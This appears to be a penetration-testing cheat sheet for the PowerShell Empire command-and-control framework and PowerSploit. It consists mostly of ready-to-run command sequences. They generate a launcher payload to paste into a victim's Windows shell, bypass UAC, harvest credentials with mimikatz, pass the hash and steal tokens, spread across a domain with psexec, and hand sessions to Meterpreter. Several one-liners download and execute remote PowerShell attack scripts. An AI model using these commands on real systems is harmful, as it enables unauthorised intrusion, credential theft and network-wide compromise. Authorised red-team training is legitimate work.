

### Resources

Official Site - <http://www.powershell-empire.com>  
 Indepth Tutorial + Word Excel Macro Example - <https://www.youtube.com/watch?v=aDeJBe6eqps>  
 ~39:30 - BSides DC 2015 - Bridging the Gap: Lessons in Adversarial Tradecraft <https://www.youtube.com/watch?v=xHkRhRo3l8o>  
 Offensive Active Directory with Powershell <https://www.youtube.com/watch?v=cXWtu-qalSs>

### Installation

```
git clone https://github.com/powershell-empire/empire
sudo apt-get install python-pip python-openssl
cd empire
cd setup
sudo ./install.sh
```

### Execution & Exploitation

#### Create listener and generate Base64 cmd payload

```
sudo ./empire
listeners
set Name listenername
execute
usestager launcher
listenername
execute (generate payload, copy & paste into cmd on Windows victim)
agents
```

### Execution & Exploitation (cont)

**Note:** Type in usestager then hit TAB twice for more options.

### Post Exploitation

```
agents
interact AGENTNAME
sysinfo
usemodule situational_awareness/network/arp-scan
set Range 10.0.0.0--10.0.0.255
execute
...
usemodule situational_awareness/network/reverse_dns
set Range 10.0.0.0--10.0.0.255
execute
...
usemodule situational_awareness/network/powershell-erview/user_hunter
execute
...
usemodule situational_awareness/network/powershell-erview/share_finder
set CheckShareAccess True
execute
...
agents
interact AGENTNAME
bypassuac LISTENERNAME
y
...wait for agent now active to appear...
```

### Post Exploitation (cont)

```
agents (look for a user with * as this indicates admin)
interact AGENTNAME
mimikatz (collect creds, etc...)
creds
dir \\COMPUTERNAME\C$
creds
pth 1 (passthehash using cred 1, a PID will be created)
steal_token PIDNUM
dir \\COMPUTERNAME\C$
```

### Lateral Movement

```
usemodule situational_awareness/network/powershell-erview/find_localadmin_access
info
execute (computer-names vulnerable to psexec will appear)
usemodule lateral_movement/invoke_psexec
info
set Listener test1
set ComputerName WIN10C-OMP.blah.com (machine to attack)
info
execute
You can repeat the above process to infect other computers on the domain.
```

### Connect to a Meterpreter Multi-Handler

Start your meterpreter multi handler, then do the following:  
 interact NAME (target name from the 'agents' menu)  
 usemodule code\_execution/invoke\_shellcode  
 info  
 set lhost IPADDRESS (the IP in your multi-handler session)  
 set lport PORT (the port in your multi-handler session)  
 execute (wait...)  
 (a meterpreter session will appear in metasploit)

### Powersploit

Source - <https://github.com/PowerShellMafia/PowerSploit/>  
**Demos**  
 User Hunting - <https://www.sixdub.net/?p=591>  
 Reverse meterpreter shell - DLL Injection using PowerSploit and Metasploit <https://www.youtube.com/watch?v=yKoD5Oy8CKQ>  
 PowerShell Toolkit: PowerSploit - Gaining Shells Without Writing To Disk <https://www.youtube.com/watch?v=LEll6qa-REY>

### Powersploit Example

```
cmd
powershell
IEX (New-Object Net.WebClient).DownloadString("https://github.com/PowerShellMafia/PowerSploit/raw/master/CodeExecution/Invoke-Shellcode.ps1")
```

### Powersploit Priv Esc

```
cmd
powershell
IEX (New-Object Net.WebClient).DownloadString("https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/PrivEsc/PowerUp.ps1")
IEX (New-Object Net.WebClient).DownloadString("https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/PrivEsc/PrivEsc.ps1")
Invoke-AllChecks
```



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